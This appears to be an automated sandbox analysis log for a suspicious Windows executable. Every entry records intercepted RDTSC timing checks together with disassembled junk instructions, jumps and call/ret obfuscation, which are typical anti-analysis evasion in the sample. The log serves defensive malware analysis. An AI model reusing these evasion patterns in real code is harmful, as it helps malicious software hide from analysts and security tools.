Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82E1C1 second address: 82E1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82E1CD second address: 82E1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84D2FA second address: 84D30F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007FB6510B039Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84D5CC second address: 84D5DE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FB65109F88Ah 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84D711 second address: 84D725 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84D725 second address: 84D72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84D72B second address: 84D72F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84D89E second address: 84D8A8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB65109F886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84DB5F second address: 84DB7D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007FB6510B0396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB6510B039Bh 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84DB7D second address: 84DB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB65109F886h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84DE31 second address: 84DE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84DE3E second address: 84DE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FB65109F893h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84DE56 second address: 84DE5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84DE5B second address: 84DE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB65109F88Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84E158 second address: 84E16C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84E16C second address: 84E172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84E172 second address: 84E17A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8245AE second address: 8245BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8245BD second address: 8245C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8245C2 second address: 8245CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB65109F886h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84EFEB second address: 84EFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 84EFEF second address: 84F028 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB65109F8A3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FB65109F88Ch 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85137D second address: 851382 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 851382 second address: 851388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 851388 second address: 851394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8514DE second address: 8514E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8514E4 second address: 8514F6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB6510B0396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8514F6 second address: 8514FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8514FB second address: 851501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 851501 second address: 85152F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB65109F886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FB65109F896h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85152F second address: 851533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 851533 second address: 85153D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB65109F886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85153D second address: 85155C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85155C second address: 851560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 851560 second address: 851569 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85167F second address: 8516B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F895h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jno 00007FB65109F894h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8516B8 second address: 8516BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8516BC second address: 8516CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F88Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8516CC second address: 8516F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8516F1 second address: 8516F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8516F7 second address: 8516FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 855F46 second address: 855F4C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 821048 second address: 821054 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB6510B0396h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 859615 second address: 85961B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85961B second address: 85961F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85961F second address: 859637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB65109F886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007FB65109F89Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 859637 second address: 85963B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 858AB6 second address: 858ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 858ABC second address: 858AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 858AC1 second address: 858AD7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB65109F88Eh 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 858AD7 second address: 858ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 858ADD second address: 858AE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85931C second address: 859321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 859321 second address: 859339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FB65109F892h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 859466 second address: 85946E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85946E second address: 859496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB65109F886h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007FB65109F88Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007FB65109F886h 0x0000001a jg 00007FB65109F886h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85B294 second address: 85B2A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85B331 second address: 85B345 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB65109F888h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85B345 second address: 85B353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85B66E second address: 85B674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85B674 second address: 85B679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85B8A2 second address: 85B8BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85B8BF second address: 85B8C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB6510B0396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85C02C second address: 85C030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85C030 second address: 85C03A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85C03A second address: 85C03E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85C43F second address: 85C44A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB6510B0396h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85CA7F second address: 85CA85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85CA85 second address: 85CA8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85CA8A second address: 85CA90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85CA90 second address: 85CB0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+124512B6h] 0x0000000e xor dword ptr [ebp+122D574Dh], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007FB6510B0398h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 jnp 00007FB6510B0396h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FB6510B0398h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000016h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 jno 00007FB6510B039Ch 0x00000058 xchg eax, ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FB6510B03A3h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85E3DA second address: 85E3EC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB65109F886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FB65109F886h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 85FAFE second address: 85FB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86027B second address: 86028A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86028A second address: 86028E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 860F84 second address: 860F88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 860F88 second address: 860F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 861B65 second address: 861B6B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 861B6B second address: 861BA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or dword ptr [ebp+122D2FDAh], edi 0x00000012 push 00000000h 0x00000014 mov edi, dword ptr [ebp+122D337Dh] 0x0000001a push 00000000h 0x0000001c movzx esi, dx 0x0000001f xchg eax, ebx 0x00000020 push esi 0x00000021 push ecx 0x00000022 jl 00007FB6510B0396h 0x00000028 pop ecx 0x00000029 pop esi 0x0000002a push eax 0x0000002b pushad 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 861BA8 second address: 861BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 864CDA second address: 864CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 862345 second address: 862367 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FB65109F88Ch 0x0000000c jo 00007FB65109F886h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007FB65109F88Ch 0x0000001c jnp 00007FB65109F886h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8651F3 second address: 8651FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8651FA second address: 865200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 865200 second address: 865204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8653A9 second address: 8653AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8664E4 second address: 8664E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8653AD second address: 8653BA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8671FF second address: 867239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov edi, 6A9C2B7Ch 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 mov ebx, esi 0x00000013 pop ebx 0x00000014 xchg eax, esi 0x00000015 jne 00007FB6510B039Ah 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jc 00007FB6510B0396h 0x00000025 jmp 00007FB6510B03A0h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8664E8 second address: 8664FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB65109F88Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8653BA second address: 8653D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
